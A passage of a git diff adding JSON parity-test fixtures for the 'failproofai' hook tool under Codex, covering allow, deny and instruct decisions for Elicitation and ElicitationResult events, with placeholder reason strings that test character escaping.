"{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Elicitation/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/Elicitation/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..1c6d7bc7 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Elicitation/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Elicitation/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/Elicitation/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..b15cf848 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Elicitation/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Elicitation/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/Elicitation/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..4d9e6d28 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Elicitation/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/ElicitationResult/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/ElicitationResult/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..298d9db4 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ElicitationResult/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/ElicitationResult/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/ElicitationResult/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..28c25be4 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ElicitationResult/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/ElicitationResult/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/ElicitationResult/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..78ebce75 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ElicitationResult/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/ElicitationResult/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/ElicitationResult/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..22bea017 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ElicitationResult/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/ElicitationResult/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/ElicitationResult/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..02746aaf --- /dev/null +++ b/__tests__/parity/fixtures/codex/ElicitationResult/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/ElicitationResult/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/ElicitationResult/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..22ae367f --- /dev/null +++ b/__tests__/parity/fixtures/codex/ElicitationResult/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/ElicitationResult/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/ElicitationResult/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..b3930130 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ElicitationResult/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/ElicitationResult/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/ElicitationResult/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..aa2bebcc --- /dev/null +++ b/__tests__/parity/fixtures/codex/ElicitationResult/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/ElicitationResult/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/ElicitationResult/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..124a4104 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ElicitationResult/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/ElicitationResult/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/ElicitationResult/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..62e1b253 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ElicitationResult/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/ElicitationResult/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/ElicitationResult/deny__tool-present__one-policy.json new file mode 100644 index 00000000..6c23bbb8 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ElicitationResult/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/ElicitationResult/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/ElicitationResult/deny__tool-present__two-policies.json new file mode 100644 index 00000000..13761170 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ElicitationResult/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/ElicitationResult/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/ElicitationResult/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..2a5fc788 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ElicitationResult/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/ElicitationResult/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/ElicitationResult/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..a1482508 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ElicitationResult/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/ElicitationResult/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/ElicitationResult/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ce83ae5e --- /dev/null +++ b/__tests__/parity/fixtures/codex/ElicitationResult/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/ElicitationResult/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/ElicitationResult/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..0f589838 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ElicitationResult/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + 